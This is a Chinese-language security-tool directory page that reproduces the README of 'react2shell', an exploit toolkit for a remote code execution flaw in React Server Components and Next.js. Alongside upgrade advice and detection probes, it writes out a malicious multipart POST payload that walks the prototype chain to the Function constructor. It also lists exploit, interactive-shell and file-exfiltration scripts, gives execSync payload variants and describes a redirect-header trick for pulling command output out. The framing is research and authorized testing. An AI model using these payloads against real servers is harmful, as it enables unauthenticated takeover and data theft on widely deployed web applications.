Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell — 针对React Server Components中CVE-2025-55182和CVE-2025-66478的RCE利用工具包。包含多种利用变体、检测脚本、易受攻击的测试服务器,以及对Flight协议反序列化漏洞的深入技术分析。 | Kitploit
工具/GitHubGitHub/freeqaz/react2shell
动态分析 (沙盒)漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育Payload 开发
GitHubfreeqaz/react2shell

react2shell

针对React Server Components中CVE-2025-55182和CVE-2025-66478的RCE利用工具包。包含多种利用变体、检测脚本、易受攻击的测试服务器,以及对Flight协议反序列化漏洞的深入技术分析。

681869个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

React2Shell: React Server Components 中的 RCE 0-day

CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)

本仓库仅包含用于授权安全测试和教育目的的漏洞利用代码。

另请参阅: 多位研究人员已发布对此漏洞的分析。请查阅参考资料部分,获取更多攻击技术、检测方法及分析视角。

这是什么?

2025年12月3日(星期三),React Server Components 中一个严重的远程代码执行漏洞被公开披露。该漏洞被命名为“React2Shell”,允许未认证攻击者通过发送单个 HTTP 请求,在运行受影响版本的 React RSC 或 Next.js App Router 的任何服务器上执行任意代码。

鉴于 Next.js 的广泛使用——它支撑着现代 Web 的很大一部分——此漏洞的影响十分严重。任何使用 App Router(Next.js 13 以来新项目的默认配置)且启用了 RSC 的 Next.js 应用程序都存在漏洞。无需特殊配置,无需特定端点,只需向任意路由发送一个 POST 请求即可。

漏洞存在于 React 的“Flight”协议中,这是 React Server Components 用于在服务器和客户端之间传递数据的序列化格式。在反序列化过程中缺少 hasOwnProperty 检查,使得攻击者可以遍历原型链,最终到达 JavaScript 的 Function 构造函数并执行攻击者控制的代码。

该缺陷存在于 React 的 react-server-dom-webpack、react-server-dom-turbopack 和 react-server-dom-parcel 包中。Next.js 作为主要的 RSC 使用者,通过其 App Router 继承了此漏洞。

谁受影响?

许多服务都可能存在漏洞。Next.js 是最流行的 React 框架之一,被从初创公司到大型企业的各类公司使用。自 13 版本起,App Router 与 React Server Components 已成为新 Next.js 项目的默认架构,这意味着大多数现代 Next.js 部署都受影响。

使用以下组件的任何应用程序:

  • React Server Components 且使用了存在漏洞的 react-server-dom-* 包(19.0.0 - 19.2.0)
  • Next.js App Router 版本 15.x(15.0.5 之前)和 16.x(16.0.7 之前)

这包括在 Vercel、AWS、自托管基础设施以及任何运行 Next.js App Router 应用程序的生产环境部署。

不受影响:

  • Next.js Pages Router 应用程序(无 RSC)
  • Next.js 13.x 和 14.x 的稳定版本
  • 仅使用 React 客户端渲染的应用程序
  • Edge Runtime 部署(无 process.mainModule 可用)

受影响版本

React Server Components

包受影响版本修复版本
react-server-dom-webpack

Next.js

缓解措施

立即升级。 无其他解决方案。

对于 Next.js 应用程序:

root@kitploit:~
npm install next@latest
# 或
pnpm update next

对于直接使用 React RSC 的情况:

root@kitploit:~
npm install react-server-dom-webpack@latest

验证已安装的版本:

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

漏洞利用原理

利用条件

  1. 一台运行存在漏洞的 React Server Components(通过 Next.js App Router 或直接使用 RSC)的服务器
  2. 网络访问,能够发送 HTTP POST 请求
  3. 仅此而已。无需认证,无需特定端点,任何路由均可。

攻击方式

该漏洞已发现多种攻击向量。最常见且无需任何前置条件的方法是利用 React Flight 协议引用系统进行原型污染。

漏洞利用发送一个精心构造的 multipart POST 请求,并携带 Next-Action 头。载荷滥用引用系统来:

  1. 通过 $1:__proto__:then 遍历原型链
  2. 构造一个模仿 React 内部 Chunk 类的伪造“chunk”对象
  3. 欺骗反序列化器调用 JavaScript 的 Function 构造函数
  4. 当生成的函数作为 Promise 的 thenable 被调用时执行任意代码
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

代码在反序列化过程中执行,早于任何 Action ID 验证。这意味着任何 Next-Action 头值都会触发易受攻击的代码路径——无需有效的 Action ID。

其他攻击向量 也存在,包括 $F 函数引用和直接模块 gadget。这些通常需要一个有效的 Action ID。详情见替代攻击向量。

根本原因

React 的 Flight 协议通过以冒号分割并遍历对象来解析像 $1:path:to:value 这样的引用:

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 没有 hasOwnProperty 检查!
}

讽刺的是: 就在这个文件的开头,第 35 行:

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

防护措施被导入了,可用,但没有在最关键的循环中使用。

这唯一缺失的检查允许 $1:__proto__:then 从一个 chunk 对象出发,向上遍历原型链,到达 Chunk.prototype.then —— 一个处理类 Promise 对象的函数。通过构造一个具有适当属性的伪造 chunk,我们控制哪些代码会被执行。

本地复现

克隆存在漏洞的测试服务器:

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

在另一个终端:

root@kitploit:~
./detect.sh http://localhost:3443

存在漏洞的服务器会返回 HTTP 500,响应体中包含 E{"digest"。要演示 RCE:

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

命令输出会出现在响应中。交互式探索:

root@kitploit:~
./shell.sh http://localhost:3443

本仓库包含的内容

存在漏洞的测试服务器

vulnerable-next-server/ 目录包含一个预先配置好的 Next.js 16.0.6 + React 19.2.0 应用程序,用于安全的本地测试。默认运行在 3443 端口。这是一个最小的 App Router 设置,演示默认配置即存在漏洞。

利用脚本

我们开发了多种利用变体以应对不同场景:

生产环境注意: React 在生产构建中会剥离错误消息,导致 throw 方法失效。只有 exploit-redirect.sh 能在生产环境中无需前置条件可靠地捕获命令输出。重定向 URL 存储在错误的 digest 属性(元数据)中,该属性不会被清理——而 message 属性在生产环境中只会变成 {digest: "..."}。

实用脚本:

  • detect.sh — 非破坏性的漏洞探测(不执行代码)
  • enumerate-actions.sh — 从目标 HTML 中发现有效的 Server Action ID
  • exfil-file.sh — 分块文件外传(自动处理大文件)
  • shell.sh — 基于 RCE 的交互式伪 Shell

推荐使用重定向方法,因为它适用于生产环境,无需前置条件,且直接返回命令输出。其原理是抛出一个精心构造的 NEXT_REDIRECT 错误——输出被 Base64 编码到重定向 URL 中,并随 x-action-redirect 头返回。

每个脚本的详细用法,请参阅 USAGE.md。

如何检测存在漏洞的服务器

快速检测

root@kitploit:~
./detect.sh https://target.com

这发送一个最小探测,触发漏洞代码路径但不执行任意代码。

存在漏洞的服务器响应:

  • HTTP 状态:500
  • Content-Type:text/x-component
  • 响应体包含:E{"digest"

已修复或无 RSC 的服务器: 返回 404、不同的错误格式,或无 Flight 协议响应。

手动检测

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

此探测引用了空对象上一个不存在的属性。存在漏洞的服务器在尝试访问 {}.a.a 时会崩溃,返回 500。已修复的服务器有 hasOwnProperty 防护,可防止崩溃。

识别 Next.js App Router

寻找以下特征:

  • HTML 中的 RSC 载荷:包含 Flight 协议数据(0:, 1:, 等)的 <script> 标签
  • x-nextjs-cache 或 x-nextjs-matched-path 头
  • /_next/ 静态资源路径
  • HTML 中的 Server Action ID:隐藏表单字段中的 $ACTION_ID_ 模式

技术深度剖析

攻击流程

下图展示了一个 HTTP 请求如何实现远程代码执行:

root@kitploit:~
sequenceDiagram
    participant A as 攻击者
    participant N as Next.js
    participant F as Flight 解析器
    participant JS as JS 引擎

    A->>N: POST 请求(Next-Action 头 + 恶意载荷)
    N->>F: 解析 multipart 表单数据
    F->>JS: await getRoot - 将 chunk 作为 thenable 返回

    rect rgb(80, 20, 20)
        Note over F,JS: 漏洞 - 缺少 hasOwnProperty 检查
        JS->>F: chunk.then 解析 $1:__proto__:then
        F-->>F: 遍历到 Chunk.prototype.then
    end

    F->>JS: resolve(attackerObject)
    Note over JS: JS Promise 规范:resolve(thenable)<br/>调用 thenable.then()
    JS->>F: fakeChunk.then() 使用攻击者的 _response

    rect rgb(80, 20, 20)
        Note over F,JS: 利用 - 攻击者控制 _response
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = Function 构造函数<br/>_prefix = 恶意代码字符串
        F->>JS: Function(code) 作为 thenable 被调用
    end

    Note over JS: RCE - execSync() 执行

    rect rgb(20, 60, 20)
        Note over A,JS: 输出外传(重定向方法)
        JS-->>F: throw NEXT_REDIRECT(带 Base64 输出)
        F-->>N: 错误向上传播
        N-->>A: HTTP 303 + x-action-redirect 头
    end

Flight 协议

React Server Components 使用一种名为“Flight”的自定义序列化格式,将组件树从服务器流式传输到客户端。它使用前缀代码来表示不同的值类型:

  • $1, $2, ... — 对其他 chunk 的引用(按 ID)
  • $@0 — 原始 chunk 对象引用(返回 chunk 本身,而非其值)
  • $B0 — Blob 引用(触发 _formData.get(_prefix + id))
  • $1:path:to:prop — 在被引用 chunk 的值上遍历路径

该漏洞利用了 $@(原始引用)与冒号分隔路径的组合,来访问 __proto__。

完整攻击链

阶段 1:请求处理

  1. 发送带 Next-Action 头的 POST 请求,触发 RSC Action 处理
  2. Busboy 将 multipart 表单字段解析为 chunk 存储
  3. await getRoot(response) 将 chunk 0 作为 thenable 返回

阶段 2:原型遍历

  1. Chunk 有一个 then 方法——JS Promise 规范调用 thenable.then(resolve, reject)
  2. 解析我们的载荷;$1:__proto__:then 解析为 Chunk.prototype.then
  3. 使用 then、status: "resolved_model" 和 _response 创建伪造的 chunk 对象

阶段 3:代码执行

  1. resolve(ourObject) 触发另一个 then() 调用(JS thenable 规范)
  2. Chunk.prototype.then 使用我们控制的 _response 对象运行
  3. $B0 触发 _formData.get(_prefix + "0")——两者均由攻击者控制
  4. 构造的 Function 作为 thenable 被调用 → RCE

阶段 4:输出外传 (可选,重定向方法)

  1. 载荷抛出带有 Base64 编码命令输出的 NEXT_REDIRECT 错误
  2. Next.js 捕获重定向,在 URL 验证之前设置 x-action-redirect 头
  3. 向攻击者返回 HTTP 303,输出在头中

输出捕获策略

构造的 Function 作为 thenable 被调用:fn(resolve, reject)。我们如何处理它决定了是否能获取输出:

推荐:重定向。 适用于生产环境,无需前置条件,输出在 x-action-redirect 头中。

盲打方法导致连接挂起,因为 Promise 永远不会解决——await 永远阻塞。这在发射后不管的场景中使用(反向 Shell,通过 curl 进行 OOB 外传)。

替代攻击向量

核心漏洞已有三种不同的攻击类被利用。本仓库使用第一种方法;其他 PoC 展示了替代方案:

为什么原型污染不需要 Action ID: Multipart 表单解析会立即将 chunk 送入 Flight 反序列化器。RCE 发生在 getOutlinedModel() 中的 chunk 引用解析期间——在 Next.js 验证 Action ID 之前。URL 编码请求会先验证 Action ID(不同的代码路径,位于 action-handler.ts:768)。

为什么 $F 引用需要 Action ID: $F 引用会触发 loadServerReference(),后者执行 manifest 查找。如果 Action 不存在,请求会在代码执行前失败。

所有 PoC 实现的详细比较,请参见 external-pocs/COMPARISON.md。

生产环境 vs 开发环境

React 在生产构建中会剥离错误详情。这会影响基于 throw 的外传方法:

开发环境:

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

生产环境:

root@kitploit:~
{"digest":"..."}

重定向方法规避了此问题,因为重定向 URL 存储在 digest 属性中,而非 message。在 URL 验证之前就会无条件设置头,因此即使 URL 无效也会设置该头。

致谢

关键的利用洞察——使用 $@ 原始 chunk 引用来创建自引用的伪造 chunk——归功于 maple3142。此处引用的检测方法来自 Searchlight Cyber / Assetnote。

参考资料

官方披露:

  • CVE-2025-55182 — React Server Components RCE
  • CVE-2025-66478 — Next.js 下游影响
  • React 安全公告 — React 官方披露

社区研究:

所有 PoC 实现详细比较,请参见 external-pocs/COMPARISON.md。

背景:

  • React Flight 协议 — 了解 RSC 序列化

许可证

代码采用 MIT 许可证 授权。文档(*.md 文件)采用 CC-BY-SA 4.0 授权。

下载工具
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
版本线受影响版本修复版本
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+
脚本HTTP 状态输出生产环境备注
exploit-redirect.sh303x-action-redirect 头是推荐。 无需前置条件。
exploit-throw.sh500错误响应体否仅开发模式(生产环境错误信息被清理)。
exploit-blind.sh200仅服务端是发射后不管。用于 OOB 外传。
exploit-urlencoded.sh303x-action-redirect 头是不同的 WAF 签名。需要 Action ID。
exploit-reflect.sh200响应体是最隐蔽。需要 Action ID。
策略载荷后缀工作原理
盲打execSync('CMD');0执行但不解决——连接挂起,无输出
抛出throw execSync('CMD').toString()拒绝 Promise,输出在错误体(仅开发模式)
重定向throw {digest:'NEXT_REDIRECT;...;'+b64(output)}滥用 Next.js 重定向处理,输出在头中
反射arguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()])解决 Promise,输出作为 Action 参数(需要有效 Action ID)
攻击类机制需要 Action IDPoC 示例
原型污染$1:__proto__:then 遍历到 Chunk.prototype否react2shell, lachlan2k, joe-desimone
$F 函数引用$F1 + action#constructor 到达 Function是shellinteractive
模块 Gadgetmodule#export 语法(例如 child_process#execSync)视情况而定ejpir 研究
作者贡献攻击路径显著特点
lachlan2k原始发现者原型污染Array.map 链式调用,5-chunk 结构,Waku 支持
ejpirGadget 研究所有路径模块 Gadget 目录,持久化攻击,数据 URI 路径
joe-desimonePython 工具化原型污染反向 Shell 辅助,回调外传,超时检测
labubusDest / MrR0b0t19交互式 Shell$F 函数引用Python REPL,文件上传/下载,内置测试套件
Searchlight Cyber检测方法—高保真检测方法,WAF 签名